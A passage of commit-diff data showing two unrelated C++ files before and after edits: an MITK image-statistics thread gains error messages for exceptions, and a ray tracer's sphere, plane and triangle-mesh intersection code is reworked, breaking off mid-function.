Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n\n#include \"QmitkImageStatisticsCalculationThread.h\"\n\n\/\/QT headers\n#include <QMessageBox>\n#include <QApplication>\n\nQmitkImageStatisticsCalculationThread::QmitkImageStatisticsCalculationThread():QThread(),\n m_StatisticsImage(NULL), m_BinaryMask(NULL), m_PlanarFigureMask(NULL), m_TimeStep(0),\n m_IgnoreZeros(false), m_CalculationSuccessful(false), m_StatisticChanged(false)\n{\n}\n\nQmitkImageStatisticsCalculationThread::~QmitkImageStatisticsCalculationThread()\n{\n}\n\nvoid QmitkImageStatisticsCalculationThread::Initialize( mitk::Image::Pointer image, mitk::Image::Pointer binaryImage, mitk::PlanarFigure::Pointer planarFig )\n{\n \/\/ reset old values\n if( this->m_StatisticsImage.IsNotNull() )\n this->m_StatisticsImage = 0;\n\n if( this->m_BinaryMask.IsNotNull() )\n this->m_BinaryMask = 0;\n\n if( this->m_PlanarFigureMask.IsNotNull())\n this->m_PlanarFigureMask = 0;\n\n \/\/ set new values if passed in\n if(image.IsNotNull())\n this->m_StatisticsImage = image->Clone();\n if(binaryImage.IsNotNull())\n this->m_BinaryMask = binaryImage->Clone();\n if(planarFig.IsNotNull())\n this->m_PlanarFigureMask = dynamic_cast<mitk::PlanarFigure*>(planarFig.GetPointer()); \/\/ once clone methods for planar figures are implemented, copy the data here!\n}\n\nvoid QmitkImageStatisticsCalculationThread::SetTimeStep( int times )\n{\n this->m_TimeStep = times;\n}\n\nint QmitkImageStatisticsCalculationThread::GetTimeStep()\n{\n return this->m_TimeStep;\n}\n\nmitk::ImageStatisticsCalculator::Statistics QmitkImageStatisticsCalculationThread::GetStatisticsData()\n{\n return this->m_StatisticsStruct;\n}\n\nmitk::Image::Pointer QmitkImageStatisticsCalculationThread::GetStatisticsImage()\n{\n return this->m_StatisticsImage;\n}\n\nvoid QmitkImageStatisticsCalculationThread::SetIgnoreZeroValueVoxel(bool _arg)\n{\n this->m_IgnoreZeros = _arg;\n}\n\nbool QmitkImageStatisticsCalculationThread::GetIgnoreZeroValueVoxel()\n{\n return this->m_IgnoreZeros;\n}\n\nstd::string QmitkImageStatisticsCalculationThread::GetLastErrorMessage()\n{\n return m_message;\n}\n\nQmitkImageStatisticsCalculationThread::HistogramType::Pointer\nQmitkImageStatisticsCalculationThread::GetTimeStepHistogram()\n{\n return this->m_TimeStepHistogram;\n}\n\nbool QmitkImageStatisticsCalculationThread::GetStatisticsChangedFlag()\n{\n return m_StatisticChanged;\n}\n\nbool QmitkImageStatisticsCalculationThread::GetStatisticsUpdateSuccessFlag()\n{\n return m_CalculationSuccessful;\n}\n\nvoid QmitkImageStatisticsCalculationThread::run()\n{\n bool statisticCalculationSuccessful = true;\n mitk::ImageStatisticsCalculator::Pointer calculator = mitk::ImageStatisticsCalculator::New();\n\n if(this->m_StatisticsImage.IsNotNull())\n {\n calculator->SetImage(m_StatisticsImage);\n calculator->SetMaskingModeToNone();\n }\n else\n {\n statisticCalculationSuccessful = false;\n }\n\n \/\/ Bug 13416 : The ImageStatistics::SetImageMask() method can throw exceptions, i.e. when the dimensionality\n \/\/ of the masked and input image differ, we need to catch them and mark the calculation as failed\n \/\/ the same holds for the ::SetPlanarFigure()\n try\n {\n if(this->m_BinaryMask.IsNotNull())\n {\n\n calculator->SetImageMask(m_BinaryMask);\n calculator->SetMaskingModeToImage();\n }\n if(this->m_PlanarFigureMask.IsNotNull())\n {\n calculator->SetPlanarFigure(m_PlanarFigureMask);\n calculator->SetMaskingModeToPlanarFigure();\n }\n }\n catch( const itk::ExceptionObject& e)\n {\n MITK_ERROR << \"ITK Exception:\" << e.what();\n statisticCalculationSuccessful = false;\n }\n bool statisticChanged = false;\n\n calculator->SetDoIgnorePixelValue(this->m_IgnoreZeros);\n calculator->SetIgnorePixelValue(0);\n try\n {\n statisticChanged = calculator->ComputeStatistics(m_TimeStep);\n }\n catch ( mitk::Exception& e)\n {\n m_message = e.GetDescription();\n statisticCalculationSuccessful = false;\n }\n catch ( const std::runtime_error &e )\n {\n MITK_ERROR<< \"Runtime Exception: \" << e.what();\n statisticCalculationSuccessful = false;\n }\n catch ( const std::exception &e )\n {\n MITK_ERROR<< \"Standard Exception: \" << e.what();\n statisticCalculationSuccessful = false;\n }\n this->m_StatisticChanged = statisticChanged;\n this->m_CalculationSuccessful = statisticCalculationSuccessful;\n\n if(statisticCalculationSuccessful)\n {\n this->m_StatisticsStruct = calculator->GetStatistics(m_TimeStep);\n\n if(this->m_TimeStepHistogram.IsNotNull())\n {\n this->m_TimeStepHistogram = NULL;\n }\n this->m_TimeStepHistogram = (HistogramType*) calculator->GetHistogram(m_TimeStep);\n }\n}\n<commit_msg>Added error message text to the statistics thread for runtime errors and exceptions<commit_after>\/*===================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n\n#include \"QmitkImageStatisticsCalculationThread.h\"\n\n\/\/QT headers\n#include <QMessageBox>\n#include <QApplication>\n\nQmitkImageStatisticsCalculationThread::QmitkImageStatisticsCalculationThread():QThread(),\n m_StatisticsImage(NULL), m_BinaryMask(NULL), m_PlanarFigureMask(NULL), m_TimeStep(0),\n m_IgnoreZeros(false), m_CalculationSuccessful(false), m_StatisticChanged(false)\n{\n}\n\nQmitkImageStatisticsCalculationThread::~QmitkImageStatisticsCalculationThread()\n{\n}\n\nvoid QmitkImageStatisticsCalculationThread::Initialize( mitk::Image::Pointer image, mitk::Image::Pointer binaryImage, mitk::PlanarFigure::Pointer planarFig )\n{\n \/\/ reset old values\n if( this->m_StatisticsImage.IsNotNull() )\n this->m_StatisticsImage = 0;\n\n if( this->m_BinaryMask.IsNotNull() )\n this->m_BinaryMask = 0;\n\n if( this->m_PlanarFigureMask.IsNotNull())\n this->m_PlanarFigureMask = 0;\n\n \/\/ set new values if passed in\n if(image.IsNotNull())\n this->m_StatisticsImage = image->Clone();\n if(binaryImage.IsNotNull())\n this->m_BinaryMask = binaryImage->Clone();\n if(planarFig.IsNotNull())\n this->m_PlanarFigureMask = dynamic_cast<mitk::PlanarFigure*>(planarFig.GetPointer()); \/\/ once clone methods for planar figures are implemented, copy the data here!\n}\n\nvoid QmitkImageStatisticsCalculationThread::SetTimeStep( int times )\n{\n this->m_TimeStep = times;\n}\n\nint QmitkImageStatisticsCalculationThread::GetTimeStep()\n{\n return this->m_TimeStep;\n}\n\nmitk::ImageStatisticsCalculator::Statistics QmitkImageStatisticsCalculationThread::GetStatisticsData()\n{\n return this->m_StatisticsStruct;\n}\n\nmitk::Image::Pointer QmitkImageStatisticsCalculationThread::GetStatisticsImage()\n{\n return this->m_StatisticsImage;\n}\n\nvoid QmitkImageStatisticsCalculationThread::SetIgnoreZeroValueVoxel(bool _arg)\n{\n this->m_IgnoreZeros = _arg;\n}\n\nbool QmitkImageStatisticsCalculationThread::GetIgnoreZeroValueVoxel()\n{\n return this->m_IgnoreZeros;\n}\n\nstd::string QmitkImageStatisticsCalculationThread::GetLastErrorMessage()\n{\n return m_message;\n}\n\nQmitkImageStatisticsCalculationThread::HistogramType::Pointer\nQmitkImageStatisticsCalculationThread::GetTimeStepHistogram()\n{\n return this->m_TimeStepHistogram;\n}\n\nbool QmitkImageStatisticsCalculationThread::GetStatisticsChangedFlag()\n{\n return m_StatisticChanged;\n}\n\nbool QmitkImageStatisticsCalculationThread::GetStatisticsUpdateSuccessFlag()\n{\n return m_CalculationSuccessful;\n}\n\nvoid QmitkImageStatisticsCalculationThread::run()\n{\n bool statisticCalculationSuccessful = true;\n mitk::ImageStatisticsCalculator::Pointer calculator = mitk::ImageStatisticsCalculator::New();\n\n if(this->m_StatisticsImage.IsNotNull())\n {\n calculator->SetImage(m_StatisticsImage);\n calculator->SetMaskingModeToNone();\n }\n else\n {\n statisticCalculationSuccessful = false;\n }\n\n \/\/ Bug 13416 : The ImageStatistics::SetImageMask() method can throw exceptions, i.e. when the dimensionality\n \/\/ of the masked and input image differ, we need to catch them and mark the calculation as failed\n \/\/ the same holds for the ::SetPlanarFigure()\n try\n {\n if(this->m_BinaryMask.IsNotNull())\n {\n\n calculator->SetImageMask(m_BinaryMask);\n calculator->SetMaskingModeToImage();\n }\n if(this->m_PlanarFigureMask.IsNotNull())\n {\n calculator->SetPlanarFigure(m_PlanarFigureMask);\n calculator->SetMaskingModeToPlanarFigure();\n }\n }\n catch( const itk::ExceptionObject& e)\n {\n MITK_ERROR << \"ITK Exception:\" << e.what();\n statisticCalculationSuccessful = false;\n }\n bool statisticChanged = false;\n\n calculator->SetDoIgnorePixelValue(this->m_IgnoreZeros);\n calculator->SetIgnorePixelValue(0);\n try\n {\n statisticChanged = calculator->ComputeStatistics(m_TimeStep);\n }\n catch ( mitk::Exception& e)\n {\n m_message = e.GetDescription();\n statisticCalculationSuccessful = false;\n }\n catch ( const std::runtime_error &e )\n {\n m_message = \"Exception Occurred. See log for details.\";\n MITK_ERROR<< \"Runtime Exception: \" << e.what();\n statisticCalculationSuccessful = false;\n }\n catch ( const std::exception &e )\n {\n m_message = \"Exception Occurred. See log for details.\";\n MITK_ERROR<< \"Standard Exception: \" << e.what();\n statisticCalculationSuccessful = false;\n }\n this->m_StatisticChanged = statisticChanged;\n this->m_CalculationSuccessful = statisticCalculationSuccessful;\n\n if(statisticCalculationSuccessful)\n {\n this->m_StatisticsStruct = calculator->GetStatistics(m_TimeStep);\n\n if(this->m_TimeStepHistogram.IsNotNull())\n {\n this->m_TimeStepHistogram = NULL;\n }\n this->m_TimeStepHistogram = (HistogramType*) calculator->GetHistogram(m_TimeStep);\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2013 Sean McKenna\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\n\/\/ object sub-classes (e.g. sphere, plane, triangular mesh OBJ)\n\n\n\/\/ import triangular mesh & BVH storage class\n#include \"cyCodeBase\/cyTriMesh.h\"\n#include \"cyCodeBase\/cyBVH.h\"\n\n\n\/\/ namespace\nusing namespace scene;\n\n\n\/\/ Sphere definition\nclass Sphere: public Object{\n public:\n \n \/\/ constructor\n Sphere(){\n center.Set(0, 0, 0);\n radius = 1.0;\n }\n \n \/\/ intsersect a ray against the unit sphere\n \/\/ ray must be transformed into model space, first\n bool intersectRay(Ray &r, HitInfo &h, int face=HIT_FRONT){\n \n \/\/ pre-compute values for quadratic solution\n Point pos = r.pos - center;\n float A = r.dir % r.dir;\n float B = 2.0 * pos % r.dir;\n float C = pos % pos - radius * radius;\n float det = (B * B) - (4 * A * C);\n \n \/\/ if the ray intersects, compute the z-buffer value\n if(det >= 0){\n float z1 = (-B - sqrt(det)) \/ (2.0 * A);\n float z2 = (-B + sqrt(det)) \/ (2.0 * A);\n \n \/\/ determine if we have a back hit\n if(z1 * z2 < 0.0)\n h.front = false;\n \n \/\/ if hit is too close, assume it is a back-face hit\n else if(z1 <= getBias())\n h.front = false;\n \n \/\/ check closest z-buffer value, if positive (ahead of our ray)\n if(z1 > getBias()){\n h.z = z1;\n \n \/\/ compute surface intersection and normal\n h.p = r.pos + z1 * r.dir;\n h.n = h.p.GetNormalized();\n \n \/\/ return true, ray is hit\n return true;\n \n \/\/ check the next ray, if necessary\n }else if(z2 > getBias()){\n h.z = z2;\n \n \/\/ compute surface intersection and normal\n h.p = r.pos + z2 * r.dir;\n h.n = h.p.GetNormalized();\n \n \/\/ return true, ray is hit\n return true;\n \n \/\/ otherwise, all z-buffer values are negative, return false\n }else\n return false;\n }\n \n \/\/ otherwise, return false (no ray hit)\n else\n return false;\n }\n \n \/\/ get sphere bounding box\n BoundingBox getBoundBox(){\n return BoundingBox(-1.0, -1.0, -1.0, 1.0, 1.0, 1.0);\n }\n \n private:\n \n \/\/ sphere center and its radius\n Point center;\n float radius;\n};\n\n\n\/\/ Plane definition (a \"unit\" plane)\nclass Plane: public Object{\n public:\n \n \/\/ intersect a ray against the \"unit\" plane\n bool intersectRay(Ray &r, HitInfo &h, int face = HIT_FRONT){\n \n \/\/ only compute for rays not parallel to the unit plane\n if(r.dir.z > getBias() || r.dir.z < getBias()){\n \n \/\/ compute distance along ray direction to plane\n float t = -r.pos.z \/ r.dir.z;\n \n \/\/ only accept hits in front of ray (with some bias)\n if(t > getBias()){\n \n \/\/ compute the hit point\n Point hit = r.pos + t * r.dir;\n \n \/\/ only allow a hit to occur if on the \"unit\" plane\n if(hit.x >= -1.0 && hit.y >= -1.0 && hit.x <= 1.0 && hit.y <= 1.0){\n \n \/\/ detect back face hits\n if(r.pos.z < 0.0)\n h.front = false;\n \n \/\/ distance to hit\n h.z = t;\n \n \/\/ set hit point, normal, and return hit info\n h.p = hit;\n h.n = Point(0.0, 0.0, 1.0);\n return true;\n }\n }\n }\n \n \/\/ when no ray hits the \"unit\" plane\n return false;\n }\n \n \/\/ get plane bounding box\n BoundingBox getBoundBox(){\n return BoundingBox(-1.0, -1.0, 0.0, 1.0, 1.0, 0.0);\n }\n};\n\n\n\/\/ Triangular Mesh Object definition (from an OBJ file)\nclass TriObj: public Object, private cyTriMesh{\n public:\n \n \/\/ intersect a ray against the triangular mesh\n bool intersectRay(Ray &r, HitInfo &h, int face = HIT_FRONT){\n \n \/\/ check our BVH for triangular faces, update hit info\n bool triang = traceBVHNode(r, h, face, bvh.GetRootNodeID());\n \n \/\/ return hit info from intersecting rays in the BVH faces\n return triang;\n }\n \n \/\/ get triangular mesh bounding box\n BoundingBox getBoundBox(){\n return BoundingBox(GetBoundMin(), GetBoundMax());\n }\n \n \/\/ when loading a triangular mesh, get its bounding box\n bool load(const char *file){\n bvh.Clear();\n if(!LoadFromFileObj(file))\n return false;\n if(!HasNormals())\n ComputeNormals();\n ComputeBoundingBox();\n bvh.SetMesh(this,4);\n return true;\n }\n \n private:\n \n \/\/ add BVH for each triangular mesh\n cyBVHTriMesh bvh;\n \n \/\/ intersect a ray with a single triangle (Moller-Trumbore algorithm)\n bool intersectTriangle(Ray &r, HitInfo &h, int face, int faceID){\n \n bool mt = false;\n \n if(mt){\n \n \/\/ grab vertex points\n Point a = V(F(faceID).v[0]);\n Point b = V(F(faceID).v[1]);\n Point c = V(F(faceID).v[2]);\n \n \/\/ compute edge vectors\n Point e1 = b - a;\n Point e2 = c - a;\n \n \/\/ calculate first vector, P\n Point P = r.dir ^ e2;\n \n \/\/ calculate the determinant of the matrix equation\n float determ = e1 % P;\n \n \/\/ only continue for valid determinant ranges\n if(abs(determ) > getBias()){\n \n \/\/ calculate second vector, T\n Point T = r.pos - a;\n \n \/\/ calculate a barycentric component (u)\n float u = T % P;\n \n \/\/ only allow valid barycentric values\n if(u > -getBias() && u < determ * (1.0 + getBias())){\n \n \/\/ calculate a normal of the ray with an edge vector\n Point Q = T ^ e1;\n \n \/\/ calculate a barycentric component (v)\n float v = r.dir % Q;\n \n \/\/ only allow valid barycentric values\n if(v > -getBias() && v + u < determ * (1.0 + getBias())){\n \n \/\/ update barycentric coordinates\n v \/= determ;\n u \/= determ;\n \n \/\/ compute the barycentric coordinates for interpolating values\n Point bc = Point(1.0 - u - v, u, v);\n \n \/\/ calculate the distance to hit the triangle\n float t = (e2 % Q) \/ determ;\n \n \/\/ only allow valid distances to hit\n if(t > getBias() && t < h.z){\n \n \/\/ distance to hit\n h.z = t;\n \n \/\/ set hit point, normal\n h.p = GetPoint(faceID, bc);\n h.n = GetNormal(faceID, bc);\n \n \/\/ detect back face hits\n if(determ < 0.0)\n h.front = false;\n \n \/\/ return hit info\n return true;\n }\n }\n }\n }\n \n \/\/ when no ray hits the triangular face\n return false;\n \n \/\/ normal ray tracing\n }else{\n \n \/\/ ignore rays nearly parallel to surface\n Point a = V(F(faceID).v[0]);\n Point b = V(F(faceID).v[1]);\n Point c = V(F(faceID).v[2]);\n Point n = (b - a) ^ (c - a);\n if(r.dir % n > getBias() || r.dir % n < -getBias()){\n \n \/\/ compute distance along ray direction to plane\n Point a = V(F(faceID).v[0]);\n float t = -((r.pos - a) % n) \/ (r.dir % n);\n \n \/\/ only accept hits in front of ray (with some bias) & closer hits\n if(t > getBias() && t < h.z){\n \n \/\/ compute hit point\n Point hit = r.pos + t * r.dir;\n \n \/\/ simplify problem into 2D by removing the greatest normal component\n Point2 a2;\n Point2 b2;\n Point2 c2;\n Point2 hit2;\n if(abs(n.x) > abs(n.y) && abs(n.x) > abs(n.z)){\n a2 = Point2(a.y, a.z);\n b2 = Point2(b.y, b.z);\n c2 = Point2(c.y, c.z);\n hit2 = Point2(hit.y, hit.z);\n }else if(abs(n.y) > abs(n.x) && abs(n.y) > abs(n.z)){\n a2 = Point2(a.x, a.z);\n b2 = Point2(b.x, b.z);\n c2 = Point2(c.x, c.z);\n hit2 = Point2(hit.x, hit.z);\n }else{\n a2 = Point2(a.x, a.y);\n b2 = Point2(b.x, b.y);\n c2 = Point2(c.x, c.y);\n hit2 = Point2(hit.x, hit.y);\n }\n \n \/\/ compute the area of the triangular face (in 2D)\n float area = (b2 - a2) ^ (c2 - a2);\n \n \/\/ compute smaller areas of the face, relative to the full area, in 2D\n \/\/ ensure that we are only calculating positive areas\n \/\/ aka, computation of the barycentric coordinates\n float alpha = ((b2 - a2) ^ (hit2 - a2)) \/ area;\n if(alpha > -getBias() && alpha < 1.0 + getBias()){\n float beta = ((hit2 - a2) ^ (c2 - a2)) \/ area;\n if(beta > -getBias() && beta < 1.0 + getBias()){\n if(alpha + beta < 1.0 + getBias()){\n \n \/\/ interpolate the normal based on barycentric coordinates\n Point bc = Point(1.0 - alpha - beta, beta, alpha);\n \n \/\/ distance to hit\n h.z = t;\n \n \/\/ set hit point, normal\n h.p = GetPoint(faceID, bc);\n h.n = GetNormal(faceID, bc);\n \n \/\/ detect back face hits\n if(r.dir % h.n > 0.0)\n h.front = false;\n \n \/\/ return hit info\n return true;\n }\n }\n }\n }\n }\n \n \/\/ when no ray hits the triangular face\n return false;\n \n }\n }\n \n \/\/ cast a ray into a BVH node, seeing which triangular faces may get hit\n bool traceBVHNode(Ray &r, HitInfo &h, int face, int nodeID){\n \n \/\/ grab node's bounding box\n BoundingBox b = BoundingBox(bvh.GetNodeBounds(nodeID));\n \n \/\/ does ray hit the node bounding box?\n bool hit = b.intersectRay(r, h.z);\n \n \/\/ recurse through child nodes if we hit node\n if(hit){\n \n \/\/ only recursively call function if not at a leaf node\n if(!bvh.IsLeafNode(nodeID)){\n \n \/\/ keep traversing the BVH hierarchy for hits\n int c1 = bvh.GetFirstChildNode(nodeID);\n int c2 = bvh.GetSecondChildNode(nodeID);\n bool hit1 = traceBVHNode(r, h, face, c1);\n bool hit2 = traceBVHNode(r, h, face, c2);\n \n \/\/ if we get no hit\n if(!hit1 && !hit2)\n hit = false;\n \n \/\/ for leaf nodes, trace ray into each triangular face\n }else{\n \n \/\/ get triangular faces of the hit BVH node\n const unsigned int* faces = bvh.GetNodeElements(nodeID);\n int size = bvh.GetNodeElementCount(nodeID);\n \n \/\/ trace the ray into each triangular face, tracking hits\n hit = false;\n for(int i = 0; i < size; i++){\n bool hit1 = intersectTriangle(r, h, face, faces[i]);\n if(!hit && hit1)\n hit = true;\n }\n }\n }\n \n \/\/ return if we hit a face within this node\n return hit;\n }\n};\n<commit_msg>add in some tweaks to the area-based ray-triangle intersection method, still a few kinks to work out<commit_after>\/\/ Copyright 2013 Sean McKenna\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\n\/\/ object sub-classes (e.g. sphere, plane, triangular mesh OBJ)\n\n\n\/\/ import triangular mesh & BVH storage class\n#include \"cyCodeBase\/cyTriMesh.h\"\n#include \"cyCodeBase\/cyBVH.h\"\n\n\n\/\/ namespace\nusing namespace scene;\n\n\n\/\/ Sphere definition\nclass Sphere: public Object{\n public:\n \n \/\/ constructor\n Sphere(){\n center.Set(0, 0, 0);\n radius = 1.0;\n }\n \n \/\/ intsersect a ray against the unit sphere\n \/\/ ray must be transformed into model space, first\n bool intersectRay(Ray &r, HitInfo &h, int face=HIT_FRONT){\n \n \/\/ pre-compute values for quadratic solution\n Point pos = r.pos - center;\n float A = r.dir % r.dir;\n float B = 2.0 * pos % r.dir;\n float C = pos % pos - radius * radius;\n float det = (B * B) - (4 * A * C);\n \n \/\/ if the ray intersects, compute the z-buffer value\n if(det >= 0){\n float z1 = (-B - sqrt(det)) \/ (2.0 * A);\n float z2 = (-B + sqrt(det)) \/ (2.0 * A);\n \n \/\/ determine if we have a back hit\n if(z1 * z2 < 0.0)\n h.front = false;\n \n \/\/ if hit is too close, assume it is a back-face hit\n else if(z1 <= getBias())\n h.front = false;\n \n \/\/ check closest z-buffer value, if positive (ahead of our ray)\n if(z1 > getBias()){\n h.z = z1;\n \n \/\/ compute surface intersection and normal\n h.p = r.pos + z1 * r.dir;\n h.n = h.p.GetNormalized();\n \n \/\/ return true, ray is hit\n return true;\n \n \/\/ check the next ray, if necessary\n }else if(z2 > getBias()){\n h.z = z2;\n \n \/\/ compute surface intersection and normal\n h.p = r.pos + z2 * r.dir;\n h.n = h.p.GetNormalized();\n \n \/\/ return true, ray is hit\n return true;\n \n \/\/ otherwise, all z-buffer values are negative, return false\n }else\n return false;\n }\n \n \/\/ otherwise, return false (no ray hit)\n else\n return false;\n }\n \n \/\/ get sphere bounding box\n BoundingBox getBoundBox(){\n return BoundingBox(-1.0, -1.0, -1.0, 1.0, 1.0, 1.0);\n }\n \n private:\n \n \/\/ sphere center and its radius\n Point center;\n float radius;\n};\n\n\n\/\/ Plane definition (a \"unit\" plane)\nclass Plane: public Object{\n public:\n \n \/\/ intersect a ray against the \"unit\" plane\n bool intersectRay(Ray &r, HitInfo &h, int face = HIT_FRONT){\n \n \/\/ only compute for rays not parallel to the unit plane\n if(r.dir.z > getBias() || r.dir.z < getBias()){\n \n \/\/ compute distance along ray direction to plane\n float t = -r.pos.z \/ r.dir.z;\n \n \/\/ only accept hits in front of ray (with some bias)\n if(t > getBias()){\n \n \/\/ compute the hit point\n Point hit = r.pos + t * r.dir;\n \n \/\/ only allow a hit to occur if on the \"unit\" plane\n if(hit.x >= -1.0 && hit.y >= -1.0 && hit.x <= 1.0 && hit.y <= 1.0){\n \n \/\/ detect back face hits\n if(r.pos.z < 0.0)\n h.front = false;\n \n \/\/ distance to hit\n h.z = t;\n \n \/\/ set hit point, normal, and return hit info\n h.p = hit;\n h.n = Point(0.0, 0.0, 1.0);\n return true;\n }\n }\n }\n \n \/\/ when no ray hits the \"unit\" plane\n return false;\n }\n \n \/\/ get plane bounding box\n BoundingBox getBoundBox(){\n return BoundingBox(-1.0, -1.0, 0.0, 1.0, 1.0, 0.0);\n }\n};\n\n\n\/\/ Triangular Mesh Object definition (from an OBJ file)\nclass TriObj: public Object, private cyTriMesh{\n public:\n \n \/\/ intersect a ray against the triangular mesh\n bool intersectRay(Ray &r, HitInfo &h, int face = HIT_FRONT){\n \n \/\/ check our BVH for triangular faces, update hit info\n bool triang = traceBVHNode(r, h, face, bvh.GetRootNodeID());\n \n \/\/ return hit info from intersecting rays in the BVH faces\n return triang;\n }\n \n \/\/ get triangular mesh bounding box\n BoundingBox getBoundBox(){\n return BoundingBox(GetBoundMin(), GetBoundMax());\n }\n \n \/\/ when loading a triangular mesh, get its bounding box\n bool load(const char *file){\n bvh.Clear();\n if(!LoadFromFileObj(file))\n return false;\n if(!HasNormals())\n ComputeNormals();\n ComputeBoundingBox();\n bvh.SetMesh(this,4);\n return true;\n }\n \n private:\n \n \/\/ add BVH for each triangular mesh\n cyBVHTriMesh bvh;\n \n \/\/ intersect a ray with a single triangle (Moller-Trumbore algorithm)\n bool intersectTriangle(Ray &r, HitInfo &h, int face, int faceID){\n \n bool mt = false;\n \n if(mt){\n \n \/\/ grab vertex points\n Point a = V(F(faceID).v[0]);\n Point b = V(F(faceID).v[1]);\n Point c = V(F(faceID).v[2]);\n \n \/\/ compute edge vectors\n Point e1 = b - a;\n Point e2 = c - a;\n \n \/\/ calculate first vector, P\n Point P = r.dir ^ e2;\n \n \/\/ calculate the determinant of the matrix equation\n float determ = e1 % P;\n \n \/\/ only continue for valid determinant ranges\n if(abs(determ) > getBias()){\n \n \/\/ calculate second vector, T\n Point T = r.pos - a;\n \n \/\/ calculate a barycentric component (u)\n float u = T % P;\n \n \/\/ only allow valid barycentric values\n if(u > -getBias() && u < determ * (1.0 + getBias())){\n \n \/\/ calculate a normal of the ray with an edge vector\n Point Q = T ^ e1;\n \n \/\/ calculate a barycentric component (v)\n float v = r.dir % Q;\n \n \/\/ only allow valid barycentric values\n if(v > -getBias() && v + u < determ * (1.0 + getBias())){\n \n \/\/ update barycentric coordinates\n v \/= determ;\n u \/= determ;\n \n \/\/ compute the barycentric coordinates for interpolating values\n Point bc = Point(1.0 - u - v, u, v);\n \n \/\/ calculate the distance to hit the triangle\n float t = (e2 % Q) \/ determ;\n \n \/\/ only allow valid distances to hit\n if(t > getBias() && t < h.z){\n \n \/\/ distance to hit\n h.z = t;\n \n \/\/ set hit point, normal\n h.p = GetPoint(faceID, bc);\n h.n = GetNormal(faceID, bc);\n \n \/\/ detect back face hits\n if(determ < 0.0)\n h.front = false;\n \n \/\/ return hit info\n return true;\n }\n }\n }\n }\n \n \/\/ when no ray hits the triangular face\n return false;\n \n \/\/ normal ray tracing\n }else{\n \n \/\/ grab face vertices and compute face normal\n Point a = V(F(faceID).v[0]);\n Point b = V(F(faceID).v[1]);\n Point c = V(F(faceID).v[2]);\n Point n = (b - a) ^ (c - a);\n \n \/\/ ignore rays nearly parallel to surface\n if(r.dir % n > getBias() || r.dir % n < -getBias()){\n \n \/\/ compute distance along ray direction to plane\n float t = -((r.pos - a) % n) \/ (r.dir % n);\n \n \/\/ only accept hits in front of ray (with some bias) & closer hits\n if(t > getBias() && t < h.z){\n \n \/\/ compute hit point\n Point hit = r.pos + t * r.dir;\n \n \/\/ simplify problem into 2D by removing the greatest normal component\n Point2 a2;\n Point2 b2;\n Point2 c2;\n Point2 hit2;\n if(abs(n.x) > abs(n.y) && abs(n.x) > abs(n.z)){\n a2 = Point2(a.y, a.z);\n b2 = Point2(b.y, b.z);\n c2 = Point2(c.y, c.z);\n hit2 = Point2(hit.y, hit.z);\n }else if(abs(n.y) > abs(n.x) && abs(n.y) > abs(n.z)){\n a2 = Point2(a.x, a.z);\n b2 = Point2(b.x, b.z);\n c2 = Point2(c.x, c.z);\n hit2 = Point2(hit.x, hit.z);\n }else{\n a2 = Point2(a.x, a.y);\n b2 = Point2(b.x, b.y);\n c2 = Point2(c.x, c.y);\n hit2 = Point2(hit.x, hit.y);\n }\n \n \/\/ compute the area of the triangular face (in 2D)\n float area = (b2 - a2) ^ (c2 - a2);\n \n \/\/ compute smaller areas of the face, relative to the full area, in 2D\n \/\/ ensure that we are only calculating positive areas\n \/\/ aka, computation of the barycentric coordinates\n float alpha = ((b2 - a2) ^ (hit2 - a2));\n if(alpha > -getBias() && alpha < area * (1.0 + getBias())){\n float beta = ((hit2 - a2) ^ (c2 - a2));\n if(beta > -getBias() && alpha + beta < area * (1.0 + getBias())){\n \n \/\/ scale alpha and beta to the area\n alpha \/= area;\n beta \/= area;\n \n \/\/ interpolate the normal based on barycentric coordinates\n Point bc = Point(1.0 - alpha - beta, beta, alpha);\n \n \/\/ distance to hit\n h.z = t;\n \n \/\/ set hit point, normal\n h.p = GetPoint(faceID, bc);\n h.n = GetNormal(faceID, bc);\n \n \/\/ detect back face hits\n if(r.dir % h.n > 0.0)\n h.front = false;\n \n \/\/ return hit info\n return true;\n }\n }\n }\n }\n \n \/\/ when no ray hits the triangular face\n return false;\n }\n }\n \n \/\/ cast a ray into a BVH node, seeing which triangular faces may get hit\n bool traceBVHNode(Ray &r, HitInfo &h, int face, int nodeID){\n \n \/\/ grab node's bounding box\n BoundingBox b = BoundingBox(bvh.GetNodeBounds(nodeID));\n \n \/\/ does ray hit the node bounding box?\n bool hit = b.intersectRay(r, h.z);\n \n \/\/ recurse through child nodes if we hit node\n if(hit){\n \n \/\/ only recursively call function if not at a leaf node\n if(!bvh.IsLeafNode(nodeID)){\n \n \/\/ keep traversing the BVH hierarchy for hits\n int c1 = bvh.GetFirstChildNode(nodeID);\n int c2 = bvh.GetSecondChildNode(nodeID);\n bool hit1 = traceBVHNode(r, h, face, c1);\n bool hit2 = traceBVHNode(r, h, face, c2);\n \n 